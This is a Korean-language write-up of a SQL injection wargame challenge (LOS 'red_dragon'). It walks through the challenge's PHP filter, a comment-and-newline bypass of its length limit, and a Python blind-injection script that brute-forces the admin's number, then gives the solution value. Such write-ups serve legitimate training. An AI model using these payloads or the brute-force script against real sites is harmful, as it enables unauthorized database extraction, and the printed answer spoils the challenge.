write-up/LOS write-up

LOS (Lord of SQL injection) 문제 26번 red_dragon write-up

정보보호학과 새내기 2021. 7. 13. 11:19
반응형
SMALL

문제 26번 - red_dragon

 

query : select id from prob_red_dragon where id='' and no=1

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 같이 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 id를 받는 변수에서 prob와 _ , .을 필터링하고 i를 통해 대소문자를 구별하지 않으며 길이가  7보다 크면 필터링된다는 것을 알 수 있다.

또 no는 is_numeric함수를 통해 no에 입력한 값이 숫자면 no를 반환하고 숫자가 아니면 1을 반환하는 것을 알 수 있다.

<?php
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
?>

 

clear 조건을 확인해보니 no에 해당하는 값을 찾아야 한다는 것을 알 수 있다. no의 길이를 찾고 no를 구하는 파이썬 코드를 구해야한다.

<?php
  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

 

no의 값을 찾기 위해서는 참일때 hello admin을 출력하는 것을 이용할 것인데 먼저 id에 길이를 7이하로 하라는 것은 개행문자로 다음 줄로 넘겨서 처리하면 된다.

ex) id='||no<%23&no=%0a숫자 -----> id='||no<숫자 의미를 가짐

<?php
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
?>

 

위 방법을 이용하여 no의 크기가 9라는 것을 알아내었다.

이제 파이썬 코드를 작성해야 하는데 작성하다보니 no의 범위가 너무 크다는 생각이 들었다. 그래서 한자리수씩 찾는 방법을 선택했다.

import requests


url="https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?"
cookie = dict(PHPSESSID="쿠키값")

result=0

for i in range(1,11):
    for j in range(result,1000000000,pow(10,10-i)):
        query = "id=%27||no<%23&no=%0a{}".format(j)
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        if res.text.find("Hello admin")>=0:
            result = j - pow(10,10-i)
            print(result)
            break
print("no :",result)

위 코드를 실행시키니 아래 결과가 나왔다.

따라서 no의 값은 586482014이므로 이것을 입력해주면 된다.

 

solve

https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014

반응형
LIST